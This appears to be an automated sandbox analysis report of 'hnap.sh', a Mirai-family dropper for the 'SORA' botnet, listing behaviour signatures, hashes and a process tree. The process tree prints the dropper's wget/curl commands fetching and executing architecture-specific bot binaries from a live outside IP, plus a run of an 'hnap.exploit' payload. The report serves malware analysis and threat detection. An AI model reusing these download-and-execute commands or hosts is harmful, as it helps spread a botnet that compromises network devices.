Analysis

  • max time kernel
    100s
  • max time network
    148s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240418-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    08/04/2025, 09:22

General

  • Target

    hnap.sh

  • Size

    2KB

  • MD5

    7f7f5f81539a7abbf579e8720f527c86

  • SHA1

    2323a22a0199a048f7db8c237c90e1da39f66264

  • SHA256

    2b7d3d1e1c6589f9c02b479e04bd9af07c899f53306d762c564570f6aadf6424

  • SHA512

    8db3f52ef6de158fc29c02850c14a9514d1fc42ac27b0a2d4ee6587f3861f3d0b683d04789344712d19faeea7de64547096ab43f211a026fe21a5ff6da19cefb

Malware Config

Extracted

Family

mirai

Botnet

SORA

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • Contacts a large (46628) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 14 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 14 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • UPX packed file 4 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Changes its process name 1 IoCs
  • Reads runtime system information 33 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 26 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/hnap.sh
    /tmp/hnap.sh
    1⤵
    • Executes dropped EXE
    • Writes file to tmp directory
    PID:742
    • /usr/bin/wget
      wget http://178.149.240.69/bins/sora.x86
      2⤵
      • Writes file to tmp directory
      PID:745
    • /usr/bin/curl
      curl -O http://178.149.240.69/bins/sora.x86
      2⤵
      • Reads runtime system information
      • Writes file to tmp directory
      PID:770
    • /bin/cat
      cat sora.x86
      2⤵
        PID:771
      • /bin/chmod
        chmod +x hnap.sh robben sora.x86 systemd-private-4812082fa4ce4b91b94c201f5cc9c6e6-systemd-timedated.service-cCzwpt
        2⤵
        • File and Directory Permissions Modification
        PID:772
      • /tmp/robben
        ./robben hnap.exploit
        2⤵
          PID:773
        • /usr/bin/wget
          wget http://178.149.240.69/bins/sora.mips
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:775
        • /usr/bin/curl
          curl -O http://178.149.240.69/bins/sora.mips
          2⤵
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:776
        • /bin/cat
          cat sora.mips
          2⤵
          • System Network Configuration Discovery
          PID:777
        • /bin/chmod
          chmod +x hnap.sh robben sora.mips sora.x86 systemd-private-4812082fa4ce4b91b94c201f5cc9c6e6-systemd-timedated.service-cCzwpt
          2⤵
          • File and Directory Permissions Modification
          PID:778
        • /tmp/robben
          ./robben hnap.exploit
          2⤵
          • Modifies Watchdog functionality
          • Changes its process name
          • Reads runtime system information
          PID:780
        • /usr/bin/wget
          wget http://178.149.240.69/bins/sora.x86_64
          2⤵
          • Writes file to tmp directory
          PID:785
        • /usr/bin/curl
          curl -O http://178.149.240.69/bins/sora.x86_64
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:798
        • /bin/cat
          cat sora.x86_64
          2⤵
            PID:810
          • /bin/chmod
            chmod +x hnap.sh robben sora.mips sora.x86 sora.x86_64 systemd-private-4812082fa4ce4b91b94c201f5cc9c6e6-systemd-timedated.service-cCzwpt
            2⤵
            • File and Directory Permissions Modification
            PID:811
          • /tmp/robben
            ./robben hnap.exploit
            2⤵
              PID:812
            • /usr/bin/wget
              wget http://178.149.240.69/bins/sora.i468
              2⤵
                PID:816
              • /usr/bin/curl
                curl -O http://178.149.240.69/bins/sora.i468
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:821
              • /bin/cat
                cat sora.i468
                2⤵
                  PID:832
                • /bin/chmod
                  chmod +x hnap.sh robben sora.i468 sora.mips sora.x86 sora.x86_64 systemd-private-4812082fa4ce4b91b94c201f5cc9c6e6-systemd-timedated.service-cCzwpt
                  2⤵
                  • File and Directory Permissions Modification
                  PID:834
                • /tmp/robben
                  ./robben hnap.exploit
                  2⤵
                    PID:836
                  • /usr/bin/wget
                    wget http://178.149.240.69/bins/sora.i686
                    2⤵
                    • Writes file to tmp directory
                    PID:838
                  • /usr/bin/curl
                    curl -O http://178.149.240.69/bins/sora.i686
                    2⤵
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:843
                  • /bin/cat
                    cat sora.i686
                    2⤵
                      PID:844
                    • /bin/chmod
                      chmod +x hnap.sh robben sora.i468 sora.i686 sora.mips sora.x86 sora.x86_64 systemd-private-4812082fa4ce4b91b94c201f5cc9c6e6-systemd-timedated.service-cCzwpt
                      2⤵
                      • File and Directory Permissions Modification
                      PID:845
                    • /tmp/robben
                      ./robben hnap.exploit
                      2⤵
                        PID:846
                      • /usr/bin/wget
                        wget http://178.149.240.69/bins/sora.mpsl
                        2⤵
                        • Writes file to tmp directory
                        PID:848
                      • /usr/bin/curl
                        curl -O http://178.149.240.69/bins/sora.mpsl
                        2⤵
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:849
                      • /bin/cat
                        cat sora.mpsl
                        2⤵
                          PID:850
                        • /bin/chmod
                          chmod +x hnap.sh robben sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64 systemd-private-4812082fa4ce4b91b94c201f5cc9c6e6-systemd-timedated.service-cCzwpt
                          2⤵
                          • File and Directory Permissions Modification
                          PID:851
                        • /tmp/robben
                          ./robben hnap.exploit
                          2⤵
                            PID:852
                          • /usr/bin/wget
                            wget http://178.149.240.69/bins/sora.arm4
                            2⤵
                              PID:854
                            • /usr/bin/curl
                              curl -O http://178.149.240.69/bins/sora.arm4
                              2⤵
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:855
                            • /bin/cat
                              cat sora.arm4
                              2⤵
                                PID:886
                              • /bin/chmod
                                chmod +x hnap.sh robben sora.arm4 sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64 systemd-private-4812082fa4ce4b91b94c201f5cc9c6e6-systemd-timedated.service-cCzwpt
                                2⤵
                                • File and Directory Permissions Modification
                                PID:887
                              • /tmp/robben
                                ./robben hnap.exploit
                                2⤵
                                  PID:888
                                • /usr/bin/wget
                                  wget http://178.149.240.69/bins/sora.arm5
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:889
                                • /usr/bin/curl
                                  curl -O http://178.149.240.69/bins/sora.arm5
                                  2⤵
                                  • Reads runtime system information
                                  • Writes file to tmp directory
                                  PID:890
                                • /bin/cat
                                  cat sora.arm5
                                  2⤵
                                    PID:894
                                  • /bin/chmod
                                    chmod +x hnap.sh robben sora.arm4 sora.arm5 sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:895
                                  • /tmp/robben
                                    ./robben hnap.exploit
                                    2⤵
                                      PID:896
                                    • /usr/bin/wget
                                      wget http://178.149.240.69/bins/sora.arm6
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:898
                                    • /usr/bin/curl
                                      curl -O http://178.149.240.69/bins/sora.arm6
                                      2⤵
                                      • Reads runtime system information
                                      • Writes file to tmp directory
                                      PID:899
                                    • /bin/cat
                                      cat sora.arm6
                                      2⤵
                                        PID:900
                                      • /bin/chmod
                                        chmod +x hnap.sh robben sora.arm4 sora.arm5 sora.arm6 sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:901
                                      • /tmp/robben
                                        ./robben hnap.exploit
                                        2⤵
                                          PID:902
                                        • /usr/bin/wget
                                          wget http://178.149.240.69/bins/sora.arm7
                                          2⤵
                                          • Writes file to tmp directory
                                          PID:904
                                        • /usr/bin/curl
                                          curl -O http://178.149.240.69/bins/sora.arm7
                                          2⤵
                                          • Reads runtime system information
                                          • Writes file to tmp directory
                                          PID:905
                                        • /bin/cat
                                          cat sora.arm7
                                          2⤵
                                            PID:906
                                          • /bin/chmod
                                            chmod +x hnap.sh robben sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:907
                                          • /tmp/robben
                                            ./robben hnap.exploit
                                            2⤵
                                              PID:908
                                            • /usr/bin/wget
                                              wget http://178.149.240.69/bins/sora.ppc
                                              2⤵
                                              • Writes file to tmp directory
                                              PID:910
                                            • /usr/bin/curl
                                              curl -O http://178.149.240.69/bins/sora.ppc
                                              2⤵
                                              • Reads runtime system information
                                              • Writes file to tmp directory
                                              PID:911
                                            • /bin/cat
                                              cat sora.ppc
                                              2⤵
                                                PID:912
                                              • /bin/chmod
                                                chmod +x hnap.sh robben sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.i468 sora.i686 sora.mips sora.mpsl sora.ppc sora.x86 sora.x86_64
                                                2⤵
                                                • File and Directory Permissions Modification
                                                PID:913
                                              • /tmp/robben
                                                ./robben hnap.exploit
                                                2⤵
                                                  PID:914
                                                • /usr/bin/wget
                                                  wget http://178.149.240.69/bins/sora.ppc440fp
                                                  2⤵
                                                    PID:916
                                                  • /usr/bin/curl
                                                    curl -O http://178.149.240.69/bins/sora.ppc440fp
                                                    2⤵
                                                    • Reads runtime system information
                                                    • Writes file to tmp directory
                                                    PID:917
                                                  • /bin/cat
                                                    cat sora.ppc440fp
                                                    2⤵
                                                      PID:918
                                                    • /bin/chmod
                                                      chmod +x hnap.sh robben sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.i468 sora.i686 sora.mips sora.mpsl sora.ppc sora.ppc440fp sora.x86 sora.x86_64
                                                      2⤵
                                                      • File and Directory Permissions Modification
                                                      PID:919
                                                    • /tmp/robben
                                                      ./robben hnap.exploit
                                                      2⤵
                                                        PID:920
                                                      • /usr/bin/wget
                                                        wget http://178.149.240.69/bins/sora.m68k
                                                        2⤵
                                                        • Writes file to tmp directory
                                                        PID:921
                                                      • /usr/bin/curl
                                                        curl -O http://178.149.240.69/bins/sora.m68k
                                                        2⤵
                                                        • Reads runtime system information
                                                        • Writes file to tmp directory
                                                        PID:922
                                                      • /bin/cat
                                                        cat sora.m68k
                                                        2⤵
                                                          PID:923
                                                        • /bin/chmod
                                                          chmod +x hnap.sh robben sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.i468 sora.i686 sora.m68k sora.mips sora.mpsl sora.ppc sora.ppc440fp sora.x86 sora.x86_64
                                                          2⤵
                                                          • File and Directory Permissions Modification
                                                          PID:924
                                                        • /tmp/robben
                                                          ./robben hnap.exploit
                                                          2⤵
                                                            PID:925
                                                          • /usr/bin/wget
                                                            wget http://178.149.240.69/bins/sora.sh4
                                                            2⤵
                                                            • Writes file to tmp directory
                                                            PID:927
                                                          • /usr/bin/curl
                                                            curl -O http://178.149.240.69/bins/sora.sh4
                                                            2⤵
                                                            • Reads runtime system information
                                                            • Writes file to tmp directory
                                                            PID:928
                                                          • /bin/cat
                                                            cat sora.sh4
                                                            2⤵
                                                              PID:929
                                                            • /bin/chmod
                                                              chmod +x hnap.sh robben sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.i468 sora.i686 sora.m68k sora.mips sora.mpsl sora.ppc sora.ppc440fp sora.sh4 sora.x86 sora.x86_64
                                                              2⤵
                                                              • File and Directory Permissions Modification
                                                              PID:930
                                                            • /tmp/robben
                                                              ./robben hnap.exploit
                                                              2⤵
                                                                PID:931

                                                            Network

                                                            MITRE ATT&CK Enterprise v15

                                                            Replay Monitor

                                                            Loading Replay Monitor...

                                                            Downloads

                                                            • /tmp/robben

                                                              Filesize

                                                              28KB

                                                              MD5

                                                              c665be249de8aacbf7f020710556850f

                                                              SHA1

                                                              7bf15fe8983c1a7304ecb626385fd8d656657750

                                                              SHA256

                                                              c70c7d6288ddd3de1e999fef3e15a4cb7d23656de44209d834ea08c97f26f2c3

                                                              SHA512

                                                              2125eacc929f9f6ab5232960153e3a3c2d554cd3f65fa7fb97324a275ce27034621999f2922aaa2a4beeeda75d09b2ff89aab6417e2f93329f56ce2529cd14d8

                                                            • /tmp/robben

                                                              Filesize

                                                              28KB

                                                              MD5

                                                              cb095025fabaf4935e7cde669f9b83cb

                                                              SHA1

                                                              f057ff497853eac9b47772ae58a6be561c16edf7

                                                              SHA256

                                                              d0a729eda4e98c132a68864f1feb9f2676840909d2584c4e8225ac058af1581f

                                                              SHA512

                                                              e4df6b3d5de8f2e09c31321931f471b2acf08f24457ac13c59aa24ede5e579db85c07cd447015ddfcf00be0d828277c03598bb732aad9e4928f83c54b7a18739

                                                            • /tmp/robben

                                                              Filesize

                                                              212B

                                                              MD5

                                                              83ab6cd9a67528bbc6f4f360cb7f8d83

                                                              SHA1

                                                              07e8f17209e0569aab39f062568ff0090d9b20d4

                                                              SHA256

                                                              3ffdc3e7f17876fa23ee6595712e544975dc985d313fe07fd103e6cd3606b435

                                                              SHA512

                                                              171e8022f004540814acfc611cd0c46f708fdc6dd2590042981cb00f8136baa6521155549a77e98352901b0dfa5a8d284feb37a7babf9e2bf400a9acc3bb686f

                                                            • /tmp/robben

                                                              Filesize

                                                              28KB

                                                              MD5

                                                              659a441fb5d03828d0e1dcdc8e94515c

                                                              SHA1

                                                              bf70af5209d2a89bd12c9a9d4b148ddd9b4af02f

                                                              SHA256

                                                              0e878390d0a19156525789562bacf861294b18a9308312e4a9c943d6e900ff44

                                                              SHA512

                                                              25d5d73027f64202338f40ae6ee71b12fa64db01e5b82afe2a3bb7abb415c19246b4368ddb1f98041a439155cadafd7eb7894e67eb31d84f205acc62b70d6cb8

                                                            • /tmp/robben

                                                              Filesize

                                                              64KB

                                                              MD5

                                                              d3114b8b81fe0dabf36ebb38e3f69ffe

                                                              SHA1

                                                              ef38c94966a0649c3797af3adb5287c887ef122a

                                                              SHA256

                                                              2d760402220357d43f57edbef3d9e8d9f0526a6c677b4cb77dd63eaceb6f67d1

                                                              SHA512

                                                              d43b02f9ca7a489270f552c1a89b3c6d36270fa06090a9cdfe64f506ac3d0eb344de161a25c639128ac66ac77573b389087f36939177f3cc189ec39a23addc72

                                                            • /tmp/sora.x86

                                                              Filesize

                                                              27KB

                                                              MD5

                                                              ed0134170c819d0a2c3526f5ed8ecad5

                                                              SHA1

                                                              af1324bb6e6554b496e5938185f74456b69e54e1

                                                              SHA256

                                                              cd67a9db1c069d8a9ee68a76c68d20c53659d319425ecabf8a0c5b193aeb6fe8

                                                              SHA512

                                                              98ebd8a6a42f7c3a324cacc429d27fdd5cecf9995971adefdef184e15926741263a19429fa2966a4ced0d00fa715a36028e23b8e7cf5a5e0e567296d34b56ab6